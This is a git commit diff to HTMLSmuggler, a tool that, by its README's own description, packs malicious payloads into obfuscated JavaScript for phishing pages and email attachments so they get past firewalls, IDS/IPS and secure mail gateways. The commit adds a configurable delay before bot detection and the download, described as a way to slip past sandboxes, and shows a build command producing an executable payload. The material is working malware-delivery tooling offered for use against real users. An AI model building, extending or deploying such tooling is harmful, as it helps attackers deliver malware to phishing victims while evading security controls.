add: delay before download

.eslintrc.js

@@ -29,5 +29,6 @@ module.exports = {
   globals: {
     CONFIG_COMPRESS: true,
     CONFIG_ANTIBOT: true,
+    CONFIG_DELAY: true,
   },
 };

README.md

@@ -8,14 +8,15 @@ HTMLSmuggler - JS payload generator for IDS bypass and payload delivery via HTML
 
 The full explanation what is HTML Smuggling may be found [here](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/).
 
-The primary objective of HTML smuggling is to bypass network security controls, such as firewalls and intrusion detection systems, by disguising malicious payloads within seemingly harmless HTML and JavaScript code. By exploiting the dynamic nature of web applications, attackers can deliver malicious content to a user's browser without triggering security alerts or being detected by traditional security mechanisms. Thanks to this technique, the download of a malicious file is not displayed in any way in modern IDS solutions.
+The primary objective of HTML smuggling is to bypass network security controls, such as firewalls and intrusion detection systems, by disguising malicious payloads (e.g. executables/archives/etc.) within seemingly harmless HTML and JavaScript code. By exploiting the dynamic nature of web applications, attackers can deliver malicious content to a user's browser without triggering security alerts or being detected by traditional security mechanisms. Thanks to this technique, the download of a malicious file is not displayed in any way in modern IDS solutions.
 
-The main goal of HTMLSmuggler tool is creating an independent javascript library with embedded malicious user-defined payload. This library may be integrated into your phishing sites/email html attachments/etc. to bypass IDS and IPS system and deliver embedded payload to the target user system. An example of created javascript library may be found [here](examples/html/payload.umd.js).
+The main goal of HTMLSmuggler tool is creating an independent javascript library with embedded malicious user-defined payload. This library may be integrated into your phishing sites/email html attachments/etc. to deliver embedded payload to the target user system (bypassing IDS and IPS system). An example of created javascript library may be found [here](examples/html/payload.umd.js).
 
 ## Features
 
 * Built-in highly configurable JavaScript obfuscator that fully hides your payload makes it impossible to extract your payload from javascript manually.
 * Powerful client-side bots and headless crawlers detection library that doesn't share your payloads with smart secure mail gateways and their friends.
+* Delay before loading to avoid sandboxes that are in a hurry.
 * May be used both as an independent JS library or embedded in JS frameworks such as React, Vue.js, etc.
 * The simplicity of the template allows you to add extra data handlers/compressions/obfuscations.
 
@@ -41,6 +42,7 @@ The main goal of HTMLSmuggler tool is creating an independent javascript library
       -t, --type <string>      Contet-Type of downlonaded file (default: "application/octet-stream")
       -f, --function <string>  Name of exported function (default: "download")
       -c, --compress           Enable payload compression (gzip)
+      -d, --delay <number>     Delay before antibot and download in ms (default: 0)
       -a, --antibot            Enable bot detection and block them (recommended)
       -h, --help               display help for command
     ```
@@ -55,7 +57,7 @@ The main goal of HTMLSmuggler tool is creating an independent javascript library
     > ⚠️ AVOID USAGE OF PAYLOADS BIGGER THAN 3 MiB (see [FAQ](#faq))
 
     ```bash
-    yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a
+    yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
     ```
 
 3. Get your payload from `dist/payload.esm.js` or `dist/payload.umd.js`. After that, it may be inserted into your page and called with `download()` (or custom specified with `-f` flag) function.

builder.js

@@ -22,6 +22,7 @@ program
   )
   .option("-f, --function <string>", "Name of exported function", "download")
   .option("-c, --compress", "Enable payload compression (gzip)")
+  .option("-d, --delay <number>", "Delay before antibot and download (ms)", 0)
   .option("-a, --antibot", "Enable bot detection and block them (recommended)");
 
 program.parse();
@@ -31,6 +32,7 @@ console.log("Using filename:", program.opts().name);
 console.log("Using Content-Type:", program.opts().type);
 console.log("Exported function:", program.opts().function);
 console.log("Compression:", program.opts().compress);
+console.log("Delay:", program.opts().delay, "ms");
 console.log("Antibot:", program.opts().antibot);
 
 const dst = "src/assets/payload.bin";
@@ -53,6 +55,7 @@ fs.readFile(program.opts().payload, { encoding: "latin1" }, (err, data) => {
         funcname: program.opts().function,
         compress: program.opts().compress,
         antibot: program.opts().antibot,
+        delay: program.opts().delay,
       })
     );
     compiler.run((err3, stats) => {

src/index.js

@@ -5,6 +5,11 @@ import payload from "./assets/payload.bin";
 import { download as down } from "./utils";
 
 export async function dontChangeFunctionName() {
+  // sleep before execution
+  await new Promise((r) => {
+    setTimeout(r, CONFIG_DELAY);
+  });
+
   // antibot
   if (CONFIG_ANTIBOT) {
     let isBot = false;

webpack.config.js

@@ -3,7 +3,14 @@ const webpack = require("webpack");
 const WebpackObfuscator = require("webpack-obfuscator");
 const obfuscatorOptions = require("./obfuscator");
 
-module.exports = ({ filename, filetype, funcname, compress, antibot }) => {
+module.exports = ({
+  filename,
+  filetype,
+  funcname,
+  compress,
+  antibot,
+  delay,
+}) => {
   const commonConfig = {
     mode: "production",
     performance: {
@@ -46,6 +53,7 @@ module.exports = ({ filename, filetype, funcname, compress, antibot }) => {
       new webpack.DefinePlugin({
         CONFIG_COMPRESS: JSON.stringify(compress),
         CONFIG_ANTIBOT: JSON.stringify(antibot),
+        CONFIG_DELAY: JSON.stringify(delay),
       }),
     ],
   };